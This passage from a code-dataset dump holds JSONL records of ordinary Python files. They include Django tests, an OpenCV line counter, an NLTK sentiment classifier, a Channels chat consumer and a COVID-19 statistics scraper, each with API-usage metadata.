"torch.cat", "line_number": 321, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 261, "usage_type": "call"}, {"api_name": "inspect.signature", "line_number": 326, "usage_type": "call"}, {"api_name": "inspect.signature", "line_number": 334, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 344, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 345, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 348, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 348, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 348, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 350, "usage_type": "name"}, {"api_name": "torch.Generator", "line_number": 350, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 351, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 351, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 352, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 384, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 403, "usage_type": "call"}, {"api_name": "tqdm.auto.tqdm", "line_number": 413, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 429, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 433, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 433, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 438, "usage_type": "call"}, {"api_name": "utils.box_ops.box_cxcywh_to_xyxy", "line_number": 447, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 451, "usage_type": "call"}, {"api_name": "utils.utils.numpy_to_pil", "line_number": 479, "usage_type": "call"}, {"api_name": "p2p.show_cross_attention", "line_number": 481, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 339, "usage_type": "call"}, {"api_name": "imgviz.label_colormap", "line_number": 491, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 497, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 499, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 499, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 500, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 500, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 505, "usage_type": "call"}, {"api_name": "os.path", "line_number": 505, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 510, "usage_type": "call"}, {"api_name": "boxnet_models.add_boxnet_args", "line_number": 527, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 530, "usage_type": "call"}, {"api_name": "json.load", "line_number": 532, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 536, "usage_type": "call"}, {"api_name": "torch.Generator", "line_number": 539, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 544, "usage_type": "call"}, {"api_name": "os.path", "line_number": 544, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 545, "usage_type": "call"}, {"api_name": "p2p.AttentionStore", "line_number": 556, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 561, "usage_type": "call"}, {"api_name": "os.path", "line_number": 561, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 565, "usage_type": "call"}, {"api_name": "os.path", "line_number": 565, "usage_type": "attribute"}]} +{"seq_id": "29673459545", "text": "from django.test import TestCase\n\nfrom djangoblog.api.models.post import Post, Tags\nfrom djangoblog.models import UserProfile\n\n\nclass TestPostModel(TestCase):\n\n fixtures = [\"test\"]\n\n @classmethod\n def setUpTestData(cls):\n cls.user = UserProfile.objects.get(pk=1)\n cls.post = Post.objects.create(\n user=cls.user, title=\"My Blog post\", content=\"Blog post body text\"\n )\n\n def test_post_creation(self):\n new_post = Post.objects.get(id=self.post.id)\n self.assertEqual(str(new_post), new_post.title)\n self.assertEqual(self.post.title, new_post.title)\n\n def test_post_has_tags(self):\n tag1 = Tags.objects.create(tag=\"TypeScript\", slug=\"typescript\")\n tag2 = Tags.objects.create(tag=\"Python\", slug=\"python\")\n self.post.tags.set([tag1, tag2])\n self.assertEqual(str(tag1), tag1.tag)\n self.assertEqual(self.post.tags.count(), 2)\n\n\nclass TestTags(TestCase):\n\n def test_dont_add_tag(self):\n tag_list = [{\"value\": \"TypeScript\"}, {\"value\": \"JavaScript\"}, {\"value\": \"Python\"}]\n Tags.objects.create(tag=\"TypeScript\", slug=\"typescript\")\n tags = Tags.objects.create_if_not_exist(tag_list)\n self.assertEqual(Tags.objects.all().count(), 3)\n self.assertEqual(Tags.objects.filter(tag=\"TypeScript\").count(), 1)\n", "repo_name": "victory-sokolov/django-rest", "sub_path": "djangoblog/api/tests/test_models.py", "file_name": "test_models.py", "file_ext": "py", "file_size_in_byte": 1327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.test.TestCase", "line_number": 7, "usage_type": "name"}, {"api_name": "djangoblog.models.UserProfile.objects.get", "line_number": 13, "usage_type": "call"}, {"api_name": "djangoblog.models.UserProfile.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "djangoblog.models.UserProfile", "line_number": 13, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Post.objects.create", "line_number": 14, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Post.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Post", "line_number": 14, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Post.objects.get", "line_number": 19, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Post.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Post", "line_number": 19, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Tags.objects.create", "line_number": 24, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Tags.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Tags", "line_number": 24, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Tags.objects.create", "line_number": 25, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Tags.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Tags", "line_number": 25, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 31, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Tags.objects.create", "line_number": 35, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Tags.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Tags", "line_number": 35, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Tags.objects.create_if_not_exist", "line_number": 36, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Tags.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Tags", "line_number": 36, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Tags.objects.all", "line_number": 37, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Tags.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Tags", "line_number": 37, "usage_type": "name"}, {"api_name": "djangoblog.api.models.post.Tags.objects.filter", "line_number": 38, "usage_type": "call"}, {"api_name": "djangoblog.api.models.post.Tags.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "djangoblog.api.models.post.Tags", "line_number": 38, "usage_type": "name"}]} +{"seq_id": "35167071704", "text": "import cv2 as cv\nimport numpy as np\n\ndef count_lines(img):\n \"\"\"Return the number of lines in the document.\"\"\"\n # convert to black and white\n img_gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n img_bw = cv.adaptiveThreshold(img_gray, 255, cv.ADAPTIVE_THRESH_GAUSSIAN_C,\n cv.THRESH_BINARY_INV, 25, 29)\n # do a strong opening to remove noise and find bounding box\n img_bw_denoise = cv.morphologyEx(img_bw.copy(), cv.MORPH_OPEN, np.ones((3, 3), np.uint8))\n white_pixels = np.where(img_bw_denoise == 255)\n coords = np.column_stack((white_pixels[1], white_pixels[0]))\n rect = cv.minAreaRect(coords)\n box = np.int0(np.around(cv.boxPoints(rect)))\n # create a rotation matrix to fix skew\n ang = -(90 + rect[2]) if rect[2] < -45 else -rect[2]\n (height, width) = img_bw_denoise.shape[:2]\n center = (width // 2, height // 2)\n matrix = cv.getRotationMatrix2D(center, -ang, 1.0)\n # do a weaker opening and rotate the image\n img_bw_curr = cv.morphologyEx(img_bw, cv.MORPH_OPEN, np.ones((2, 2), np.uint8))\n box_rotated = cv.transform(np.array([box]), matrix)\n img_bw_rot = cv.warpAffine(img_bw_curr, matrix, (width, height),\n flags=cv.INTER_CUBIC, borderMode=cv.BORDER_REPLICATE)\n # crop the image, remove parts outside the bounding box\n top_left = np.min(np.min(box_rotated, axis=1), axis=0)\n bot_right = np.max(np.max(box_rotated, axis=1), axis=0)\n img_cropped = img_bw_rot[top_left[1]:bot_right[1], top_left[0]:bot_right[0]]\n # do a vertical erosion to separate lines\n img_final = cv.erode(img_cropped, np.ones((15, 1), np.uint8), iterations=1)\n # extract the average of lightest 4 pixels from every row\n # this way short rows don't have a disadvantage but we are less\n # resistant to noise, so we have to do good noise removal\n vals = []\n for row in img_final:\n ind = np.argpartition(row, -4)[-4:]\n avg_good = np.average(row[ind])\n vals.append(int(np.around(avg_good)))\n # do some trivial smoothing\n vals_smooth = []\n for i, _ in enumerate(vals):\n left = max(0, i-3)\n right = min(len(vals), i+3+1)\n vals_smooth.append(np.average(vals[left:right]))\n # count rising edges and return the result\n cnt = 0\n for i, val_i in enumerate(vals_smooth):\n if val_i > 0 and (i == 0 or vals_smooth[i-1] == 0):\n cnt += 1\n return cnt\n\nif __name__ == \"__main__\":\n in_file = raw_input()\n img = cv.imread(in_file)\n print(count_lines(img))\n", "repo_name": "rand0musername/psiml2017-homework", "sub_path": "3 Line processor/lines.py", "file_name": "lines.py", "file_ext": "py", "file_size_in_byte": 2546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "cv2.cvtColor", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.adaptiveThreshold", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.ADAPTIVE_THRESH_GAUSSIAN_C", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 9, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.minAreaRect", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.int0", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.boxPoints", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.transform", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.BORDER_REPLICATE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.argpartition", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "35082258693", "text": "import numpy as np\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\ndef read_vectors(path, topn): # read top n word vectors, i.e. top is 10000\n lines_num, dim = 0, 0\n vectors = []\n iw = []\n wi = {}\n with open(path, encoding='utf-8', errors='ignore') as f:\n first_line = True\n for line in f:\n if first_line:\n first_line = False\n dim = int(line.rstrip().split()[1])\n continue\n lines_num += 1\n tokens = line.rstrip().split(' ')\n vectors.append(np.asarray([float(x) for x in tokens[1:]]))\n iw.append(tokens[0])\n if topn != 0 and lines_num >= topn:\n break\n for i, w in enumerate(iw):\n wi[w] = i\n return vectors, iw, wi, dim\n\n\n\ndef main():\n vectors_path = \"/Users/hongjie/Downloads/sgns.baidubaike.bigram-char\"\n vocab_size = 1000\n results = {} # Records the results\n\n vectors, iw, wi, dim = read_vectors(vectors_path, vocab_size) # Read top n word vectors. Read all vectors when topn is 0\n\n word_embeds = nn.Embedding(vocab_size, 300)\n pretrained_weight = np.array(vectors)\n word_embeds.weight.data.copy_(torch.from_numpy(pretrained_weight))\n\n\n\nif __name__ == '__main__':\n main()", "repo_name": "ojijo/aicbase", "sub_path": "Baselines/opinion_questions_machine_reading_comprehension2018_baseline/twosteps/vector.py", "file_name": "vector.py", "file_ext": "py", "file_size_in_byte": 1291, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.asarray", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.Embedding", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "44683153828", "text": "import xml.etree.ElementTree as ET\r\ntree = ET.parse(\"G://Python/sample.xml\")\r\nroot = tree.getroot()\r\nlevels= root.findall('./book')\r\nf= open(\"newXML.xml\",\"w+\")\r\nf.write('\\n\\n')\r\nfor level in levels:\r\n id= level.get('id')\r\n title = level.find('title').text\r\n price = float(level.find('price').text)\r\n desc = level.find('description').text\r\n f.write('\\t\\n')\r\n f.write('\\t\\t')\r\n f.write(title)\r\n f.write('\\n\\t\\t')\r\n f.write(desc)\r\n f.write('\\n\\t\\t')\r\n f.write(str(price))\r\n f.write('\\n\\t\\n\\n')\r\nf.write('')\r\nf.close()\r\nprint (\"Your XML file has been extracted and is saved as newXML.xml file in python directory\")\r\n", "repo_name": "say2nj/xml-extractor", "sub_path": "xmlExtractor1.py", "file_name": "xmlExtractor1.py", "file_ext": "py", "file_size_in_byte": 770, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "xml.etree.ElementTree.parse", "line_number": 2, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 2, "usage_type": "name"}]} +{"seq_id": "804565159", "text": "import matplotlib.pyplot as plt\n\ndebug_fig = None\nsubplot_index = 1\n\n\ndef create_debug_fig(img, title, cmap=None):\n \"\"\"Creates a new subplot on the debug figure for the given image and title.\n\n Keyword arguments:\n img -- The image to show on the subplot.\n title -- The title to give to the subplot.\n cmap -- The color map to use for the subplot.\n \"\"\"\n global debug_fig, subplot_index\n\n if debug_fig is None:\n debug_fig = plt.figure()\n ax = debug_fig.add_subplot(3, 4, subplot_index)\n ax.axis('off')\n\n subplot_index += 1\n if subplot_index > 12:\n subplot_index = 1\n\n ax.set_title(title)\n ax.imshow(img, cmap=cmap)\n\n return ax\n\n\ndef show():\n \"\"\"Shows the debug figure and resets it.\n \"\"\"\n global debug_fig, subplot_index\n\n plt.show()\n debug_fig = None\n subplot_index = 1\n", "repo_name": "martin-jw/hand-detection", "sub_path": "util/debugutil.py", "file_name": "debugutil.py", "file_ext": "py", "file_size_in_byte": 845, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}]} +{"seq_id": "37270616732", "text": "import nltk\n\nfrom nltk.corpus import twitter_samples\nfrom nltk.tag import pos_tag\nfrom nltk.stem.wordnet import WordNetLemmatizer\nimport re, string\npositive_tweets = twitter_samples.strings('positive_tweets.json')\nnegative_tweets = twitter_samples.strings('negative_tweets.json')\ntext = twitter_samples.strings('tweets.20150430-223406.json')\ntweet_tokens = twitter_samples.tokenized('positive_tweets.json')\n\n\n# def lemmatize_sentence(tokens):\n# lemmatizer = WordNetLemmatizer()\n# lemmatized_sentence = []\n# for word, tag in pos_tag(tokens):\n# if tag.startswith('NN'):\n# pos = 'n'\n# elif tag.startswith('VB'):\n# pos = 'v'\n# else:\n# pos = 'a'\n# lemmatized_sentence.append(lemmatizer.lemmatize(word, pos))\n# return lemmatized_sentence\n#\n# print(lemmatize_sentence(tweet_tokens[0]))\n\n\n\ndef remove_noise(tweet_tokens, stop_words = ()):\n\n cleaned_tokens = []\n\n for token, tag in pos_tag(tweet_tokens):\n token = re.sub('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+#]|[!*\\(\\),]|'\\\n '(?:%[0-9a-fA-F][0-9a-fA-F]))+','', token)\n token = re.sub(\"(@[A-Za-z0-9_]+)\",\"\", token)\n\n if tag.startswith(\"NN\"):\n pos = 'n'\n elif tag.startswith('VB'):\n pos = 'v'\n else:\n pos = 'a'\n\n lemmatizer = WordNetLemmatizer()\n token = lemmatizer.lemmatize(token, pos)\n\n if len(token) > 0 and token not in string.punctuation and token.lower() not in stop_words:\n cleaned_tokens.append(token.lower())\n return cleaned_tokens\n\nfrom nltk.corpus import stopwords\nstop_words = stopwords.words('english')\n\n# print(remove_noise(tweet_tokens[0], stop_words))\n\n\npositive_tweet_tokens = twitter_samples.tokenized('positive_tweets.json')\nnegative_tweet_tokens = twitter_samples.tokenized('negative_tweets.json')\n\npositive_cleaned_tokens_list = []\nnegative_cleaned_tokens_list = []\n\nfor tokens in positive_tweet_tokens:\n positive_cleaned_tokens_list.append(remove_noise(tokens, stop_words))\n\nfor tokens in negative_tweet_tokens:\n negative_cleaned_tokens_list.append(remove_noise(tokens, stop_words))\n\n\n\ndef get_all_words(cleaned_tokens_list):\n for tokens in cleaned_tokens_list:\n for token in tokens:\n yield token\n\nall_pos_words = get_all_words(positive_cleaned_tokens_list)\n\nfrom nltk import FreqDist\n\nfreq_dist_pos = FreqDist(all_pos_words)\nprint(freq_dist_pos.most_common(10))\n\ndef get_tweets_for_model(cleaned_tokens_list):\n for tweet_tokens in cleaned_tokens_list:\n yield dict([token, True] for token in tweet_tokens)\n\npositive_tokens_for_model = get_tweets_for_model(positive_cleaned_tokens_list)\nnegative_tokens_for_model = get_tweets_for_model(negative_cleaned_tokens_list)\n\n\nimport random\n\npositive_dataset = [(tweet_dict, \"Positive\")\n for tweet_dict in positive_tokens_for_model]\n\nnegative_dataset = [(tweet_dict, \"Negative\")\n for tweet_dict in negative_tokens_for_model]\n\ndataset = positive_dataset + negative_dataset\n\nrandom.shuffle(dataset)\n\ntrain_data = dataset[:7000]\ntest_data = dataset[7000:]\n\nfrom nltk import classify\nfrom nltk import NaiveBayesClassifier\nclassifier = NaiveBayesClassifier.train(train_data)\n\nprint(\"Accuracy is:\", classify.accuracy(classifier, test_data))\n\nprint(classifier.show_most_informative_features(10))\n\nfrom nltk.tokenize import word_tokenize\n\ncustom_tweet = \"I ordered just once from TerribleCo, they screwed up, never used the app again.\"\n\ncustom_tokens = remove_noise(word_tokenize(custom_tweet))\n\nprint(classifier.classify(dict([token, True] for token in custom_tokens)))", "repo_name": "sumitgsh/30Days30Projects", "sub_path": "sentiment-Analysis-Day-20/nlp_test.py", "file_name": "nlp_test.py", "file_ext": "py", "file_size_in_byte": 3657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "86", "api": [{"api_name": "nltk.corpus.twitter_samples.strings", "line_number": 7, "usage_type": "call"}, {"api_name": "nltk.corpus.twitter_samples", "line_number": 7, "usage_type": "name"}, {"api_name": "nltk.corpus.twitter_samples.strings", "line_number": 8, "usage_type": "call"}, {"api_name": "nltk.corpus.twitter_samples", "line_number": 8, "usage_type": "name"}, {"api_name": "nltk.corpus.twitter_samples.strings", "line_number": 9, "usage_type": "call"}, {"api_name": "nltk.corpus.twitter_samples", "line_number": 9, "usage_type": "name"}, {"api_name": "nltk.corpus.twitter_samples.tokenized", "line_number": 10, "usage_type": "call"}, {"api_name": "nltk.corpus.twitter_samples", "line_number": 10, "usage_type": "name"}, {"api_name": "nltk.tag.pos_tag", "line_number": 34, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 35, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 37, "usage_type": "call"}, {"api_name": "nltk.stem.wordnet.WordNetLemmatizer", "line_number": 46, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 49, "usage_type": "attribute"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 54, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 54, "usage_type": "name"}, {"api_name": "nltk.corpus.twitter_samples.tokenized", "line_number": 59, "usage_type": "call"}, {"api_name": "nltk.corpus.twitter_samples", "line_number": 59, "usage_type": "name"}, {"api_name": "nltk.corpus.twitter_samples.tokenized", "line_number": 60, "usage_type": "call"}, {"api_name": "nltk.corpus.twitter_samples", "line_number": 60, "usage_type": "name"}, {"api_name": "nltk.FreqDist", "line_number": 82, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 103, "usage_type": "call"}, {"api_name": "nltk.NaiveBayesClassifier.train", "line_number": 110, "usage_type": "call"}, {"api_name": "nltk.NaiveBayesClassifier", "line_number": 110, "usage_type": "name"}, {"api_name": "nltk.classify.accuracy", "line_number": 112, "usage_type": "call"}, {"api_name": "nltk.classify", "line_number": 112, "usage_type": "name"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 120, "usage_type": "call"}]} +{"seq_id": "38192345287", "text": "import json\nfrom channels.generic.websocket import AsyncWebsocketConsumer\nfrom .models import ChatLog\n\n\n# open Websocket for chat room\nclass ChatConsumer(AsyncWebsocketConsumer):\n # connect chat room to Websocket\n async def connect(self):\n # set Websocket scope by room url\n self.room_name = self.scope['url_route']['kwargs']['room_name']\n self.room_group_name = 'chat_%s' % self.room_name\n # if this is the first time connect to chat room, create ChatLog object\n if not ChatLog.objects.filter(name=self.room_name).exists():\n ChatLog.objects.create(name=self.room_name, partner_username=self.room_name.split('_')[0],\n your_username=self.room_name.split('_')[1])\n\n # Join room group\n await self.channel_layer.group_add(\n self.room_group_name,\n self.channel_name\n )\n\n await self.accept()\n\n # when user close chat room, disconnect Websocket\n async def disconnect(self, close_code):\n # Leave room group\n await self.channel_layer.group_discard(\n self.room_group_name,\n self.channel_name\n )\n\n # Receive message from WebSocket\n async def receive(self, text_data):\n text_data_json = json.loads(text_data)\n message = text_data_json['message']\n\n # Send message to room group\n await self.channel_layer.group_send(\n self.room_group_name,\n {\n 'type': 'chat_message',\n 'message': message\n }\n )\n\n # Receive message from room group\n async def chat_message(self, event):\n message = event['message']\n # get chat room ChatLog object and append chat message real time when users chat\n append_data = ChatLog.objects.get(name=self.room_name)\n append_data.chat += message + \"`~`~`~`~`~`\"\n append_data.save()\n\n # Send message to WebSocket\n await self.send(text_data=json.dumps({\n 'message': message\n }))\n", "repo_name": "NattakritJ/matchandlearn", "sub_path": "chat/consumers.py", "file_name": "consumers.py", "file_ext": "py", "file_size_in_byte": 2042, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "channels.generic.websocket.AsyncWebsocketConsumer", "line_number": 7, "usage_type": "name"}, {"api_name": "models.ChatLog.objects.filter", "line_number": 14, "usage_type": "call"}, {"api_name": "models.ChatLog.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.ChatLog", "line_number": 14, "usage_type": "name"}, {"api_name": "models.ChatLog.objects.create", "line_number": 15, "usage_type": "call"}, {"api_name": "models.ChatLog.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "models.ChatLog", "line_number": 15, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 36, "usage_type": "call"}, {"api_name": "models.ChatLog.objects.get", "line_number": 52, "usage_type": "call"}, {"api_name": "models.ChatLog.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.ChatLog", "line_number": 52, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "35035310058", "text": "from email import header\n\n\n#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@Description: 爬取疫情相关的信息\n@Date : 2022/05/14 01:38:43\n@Author : Zeeland\n@version : 1.0\n'''\nimport requests # 发送网络请求模块\nimport json\nfrom pojo.epi_province import EpiProvince\nfrom pojo.epi_area import EpiArea\nfrom service.epi_province_service import EpiProvinceService\nfrom service.epi_area_service import EpiAreaService\n\nclass EpiService:\n def __init__(self):\n self.url='https://api.inews.qq.com/newsqa/v1/query/inner/publish/modules/list?modules=statisGradeCityDetail,diseaseh5Shelf'\n self.epi_data = {} # 总数据\n self.chinaTotal = {} # 累计\n self.chinaAdd = {} # 今日新增\n self.provinces = {} # 各省份信息\n self.lastUpdateTime = '' # 最近更新时间\n\n # service init\n from config.PoolConfig import PoolConfig\n self.pool_config = PoolConfig()\n self.epi_province_service = EpiProvinceService(pool=self.pool_config.pool)\n self.epi_area_service = EpiAreaService(pool=self.pool_config.pool)\n\n \"\"\"\n @description: 获取最新的疫情数据,并赋值给self.epi_data\n @param : null\n @Returns : null\n \"\"\"\n def get_today_info(self):\n requests.packages.urllib3.disable_warnings()\n response = requests.get(self.url, verify=False)\n self.epi_data = response.json()['data']['diseaseh5Shelf']\n self.lastUpdateTime = self.epi_data['lastUpdateTime']\n print(self.epi_data)\n\n\n \"\"\"\n @description: 用jsonfile文件加载今日数据（一般用于测试）\n @param : file_dir为文件路径\n @Returns : null\n \"\"\"\n def get_today_info_by_jsonfile(self,file_dir='today_epi_info.json'):\n with open(file_dir, \"r\", encoding='utf-8') as f:\n self.epi_data = json.loads(f.read()) # load的传入参数为字符串类型\n # print(self.epi_data)\n self.lastUpdateTime = self.epi_data['lastUpdateTime']\n\n \"\"\"\n @description: 将self.epi_data的数据存到数据库中,需要注意的是,调用此函数之前,需要先调用get_today_info()\n 或者get_today_info_by_jsonfile()获取到self.epi_data对应的值\n @param : null\n @Returns : null\n \"\"\"\n def save_today_data_to_db(self):\n china_data = self.epi_data['areaTree'][0]['children'] # 列表\n # iterate every province of China\n for province in china_data:\n province_info = {}\n # 地区名称\n province_info['province_name'] = province['name']\n # 日期\n province_info['province_today_date'] = province['date']\n # 更新时间\n province_info['province_total_update_time'] = province['total']['mtime']\n # 死亡人数\n province_info['province_total_dead'] = province['total']['dead']\n # 治愈人数\n province_info['province_total_heal'] = province['total']['heal']\n # 现存确诊人数\n province_info['province_total_now_confirm'] = province['total']['nowConfirm']\n # 累积确诊人数\n province_info['province_total_confirm'] = province['total']['confirm']\n # 新增确诊人数\n province_info['province_today_confirm'] = province['today']['confirm']\n # 逻辑删除\n province_info['is_delete'] = 0\n\n # insert to db\n epi_province = EpiProvince(data=province_info)\n self.epi_province_service.insert(epi_province)\n print(epi_province)\n\n for area in province['children']:\n # print(area)\n area_info = {}\n # 地区名称\n area_info['area_name'] = area['name']\n # 日期\n area_info['area_today_date'] = area['date']\n # 更新时间\n area_info['area_total_update_time'] = area['total']['mtime']\n # 累积确诊\n area_info['area_total_confirm'] = area['total']['confirm']\n # 累积治疗\n area_info['area_total_heal'] = area['total']['heal']\n # 累积死亡\n area_info['area_total_dead'] = area['total']['dead']\n # 今日新增\n area_info['area_today_confirm'] = area['today']['confirm']\n # 逻辑删除\n area_info['is_delete'] = 0\n\n res = self.epi_province_service.get_key_by_name_and_time(province_info['province_name'],province_info['province_today_date'])\n if res is not None:\n area_info['province_id'] = res[0]\n epi_area = EpiArea(data=area_info)\n # print(epi_area)\n self.epi_area_service.insert(epi_area)\n\n \"\"\"\n @description: 将self.epi_data的数据存到数据库中,需要注意的是,调用此函数之前,需要先调用get_today_info()\n 或者get_today_info_by_jsonfile()获取到self.epi_data对应的值\n @param : null\n @Returns : null\n \"\"\"\n def save_today_data_to_jsonfile(self):\n with open(\"today_epi_info.json\", \"w\", encoding='utf-8') as f:\n f.write(json.dumps(self.epi_data, indent=4))\n\nif __name__ == '__main__':\n epi_service = EpiService()\n epi_service.get_today_info()\n epi_service.save_today_data_to_jsonfile()\n\n\n # epi_service.get_today_info_by_jsonfile()\n epi_service.save_today_data_to_db()\n", "repo_name": "Undertone0809/COVID-19-Info-management-system-based-on-pyqt", "sub_path": "service/TodayEpiInfo.py", "file_name": "TodayEpiInfo.py", "file_ext": "py", "file_size_in_byte": 5599, "program_lang": "python", "lang": "en", 